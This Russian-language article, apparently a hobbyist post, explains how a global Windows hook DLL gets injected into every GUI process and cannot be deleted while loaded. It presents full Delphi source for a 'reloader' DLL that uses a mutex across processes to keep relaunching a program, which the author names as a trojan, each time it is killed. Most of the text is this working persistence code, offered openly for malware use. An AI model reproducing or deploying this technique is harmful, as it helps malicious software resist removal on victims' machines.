Особенность работы с системными HOOK'ами.


В этой статье я опишу очень ,на мой взгляд, интересную особенность работы с системными HOOK'ами.
Как известно hook может находится как в самом запускаемом модуле(это нам не интересно),так и в отдельно подгружаемой dll(а вот это очень интересно).Если hook находится в запускаемом модуле,то он перехвативает события предназначенные только для этого процесса и всё,а вот если hook находится в dll,то он может перехватывать события всех процессов в системе,некоторые hook'и могут находится только в dll.
Но все это не столь важно для нас,более интересно как происходит перехват событий если hook в dll? А происходит всё так,зачем вы думаете необходимо что бы hook был в dll,правельно потому,что dll подгружается в адрессное пространство перехватываемых процессов.Ну ,вы уже догадались ,что это значит???
Если нет,то я вам сейчас расскажу.
А значит это вот ,что:если не снять hook при выходе из той программы которая его поставила,то сама программа прекратит своё существование,а hook будет жить,продолжая реагировать на собутия от других процессов,и бедет он жить до тех пор,пока останется хотя бы один процесс :),а саму dll нельзя будет стереть так, как она используется.И эти две вещи дают нам очень много.Я привожу пример dll на Delphi,эта dll представляет из себя "reloader",тоесть она выполняет функции перезагрузчика,она запускает программу(трояна например) и следит,что бы он был запущен,как только торяна прибивают,dll опять его запускает:)) ,а саму dll прибить нельзя(см. выше).таким образом мы получаем бессмертный reloader(ну пока windows запущена конечно).

Вот текст dll.

library reloader;
uses
  windows,
  classes;

type
  tdllthread=class(tthread)
   protected
    procedure Execute; override;
  end;
procedure SetHook;forward;
procedure removehook;forward;//this procedure is used for test purpose only
procedure linkpoint;stdcall;forward;
procedure libexit;forward;
function HookProc(ncode:integer;wp:wparam;lp:lparam):lresult;stdcall;forward;
const
     MUTEXNAME='TeStMuTeX';
     EXENAME='regedit.exe';
var hh:hhook;
    th:tdllthread;
    saveexit:pointer;
//---- implementation ----//

procedure tdllthread.Execute;
var mut:thandle;
    pi:tProcessinformation;
    st:tstartupinfo;
begin
mut:=Createmutex(nil,true,MUTEXNAME);
if mut=0 then
  exit;// may be all system resources are busy
fillchar(st,sizeof(tstartupinfo),0);
st.cb:=sizeof(tstartupinfo);
st.wShowWindow:=SW_SHOW;
st.dwFlags:=STARTF_USESHOWWINDOW;
while not terminated do
  begin
    waitforsingleobject(mut,INFINITE);
    if not Createprocess( nil,EXENAME,nil,nil,false,0,nil,nil,st,pi) then
      begin
        sleep(150);//wait some time before try again
        releasemutex(mut);
        continue;
      end;
    waitforsingleobject( pi.hProcess,INFINITE);
    closehandle(pi.hProcess);
    closehandle(pi.hThread);
    releasemutex(mut);
  end;
closehandle(mut);
end;

function HookProc;
begin
result:=callnexthookex(hh,ncode,wp,lp);
end;

procedure SetHook;
begin
hh:=setwindowshookex( WH_CALLWNDPROC,@hookproc,hinstance,0);
end;

procedure removehook;
begin
unhookwindowshookex(hh);
end;

procedure linkpoint;
begin
// it is only a link point to application which will ones load dll into memory.
end;

procedure libexit;
begin
terminatethread(th.Handle,0);
th.free;
removehook;
exitproc:=saveexit;
end;

exports
  linkpoint name 'linkpoint';
begin
  saveexit:=exitproc;
  exitproc:=@libexit;
  sethook;
  th:=tdllthread.Create(false);
end.

Единственным недостатком этого примера является то,что он не проверяет единственность создаваемого процесса(может быть запущено и 2 и 3 копии одной и той же программы),но я не думаю,что это существенно,ведь сама запускаемая программа может без труда проверить единственность своего существования.

Теперь о тексте самого примера:проседура "linkpoint" - это всего-лишь средство,которое заставляет windows загрузить нашу dll  в память первый раз(последущие загрузки в адрессно пространство других процессов происходят автоматически ,после установки hook'а ).
Далее программа создает новую нить(thread) в вызвавшем её процессе(каждый процесс создающий окна вызывает эту часть кода потому,что в его очередь запросов устанавливается hook,и следовательно создаётся новая нить).Далее идёт очень интересны механизм:так как нитей создаётся много,и все они в разных процессах,то необходимо как-то синхронизировать их работы,чтобы не запускалось по несколько копий программы одновременно,ведь нить не знает о существовании других таких же нитей.Для этого необходимо применить какое-либо средство меж-процессовой синхонизации.Я применил объект называемый "MUTEX" - это такой объект ,который находится в сигнальном состоянии, когда им никто не владеет,и в не сигнальном состоянии,когда им кто-то владеет(см. WINAPI),таким образом если одна нить владеет этим объектом,то другие нити будут находиться в состоянии ожидания,а как только объект освободится(например процесс в к которому пренадлежит нить будет завершён),то сразу же следующая нить завладеет этим объектом.

Исходный текст dll  в архиве прилагаю,вот он.